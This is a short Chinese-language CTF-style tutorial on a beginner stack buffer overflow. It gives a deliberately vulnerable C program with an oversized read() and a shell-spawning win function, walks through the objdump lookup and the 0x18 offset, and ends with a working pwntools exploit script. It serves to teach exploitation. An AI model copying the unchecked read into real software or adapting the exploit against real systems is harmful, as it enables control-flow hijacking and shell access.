要在Liunx 系统下跑
栈溢出
通过程序的输入但是并没做长度限制导致栈溢出,栈溢出的攻击手法通过覆盖栈的rbp下面的ret返回的地址返回到想要执行的目标地址,从而达到控制执行程序执行流。
1.1 源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void y0u_c4n7_533_m3()
{
execve("/bin/sh", (char *[]){0}, (char *[]){0});
}
int main()
{
char buf[16];
puts("This is your first bof challenge ;)");
fflush(stdout);
read(0, buf, 0x30);
return 0;
}
1.2 解法
y0u_c4n7_533_m3 是主要的目标通过栈溢出控制程序的执行流从而执行y0u_c4n7_533_m3
得到一个Shell
1.1.1 获取函数的地址
想要栈溢出执行y0u_c4n7_533_m3
需要先知道这个函数处在一个内存的什么位置使用objdump就可以得到
objdump -d ./bof -Mintel
就可以的得到函数的内存位置0000000000400607 <y0u_c4n7_533_m3>:
1.1.2 溢出点
read(0, buf, 0x30);
这就是一个可以溢出的点。 buf是16 但是读了0x30个byte就可以往下读6个地址。
char buf[16];
汇编是 lea rax, [rbp - 0x10]
栈空间大小是0x10哪就占用了两个栈地址这个栈地址下面就是rbp再下面就是ret我们要覆盖的地址, 两个栈地址(0x8+0x8) + rbp (0x8) = 0x18 覆盖0x18正好可以溢出后面在加上0000000000400607 <y0u_c4n7_533_m3>
这个地址就可以ret到这个程序的执行流了。
1.3 Exp
#!/bin/python3
from pwn import *
r = process('./bof')
addr = 0x400607
p = b'a' * 0x18 + p64(addr)
r.recvuntil(';)\n')
r.send(p)
r.interactive()
...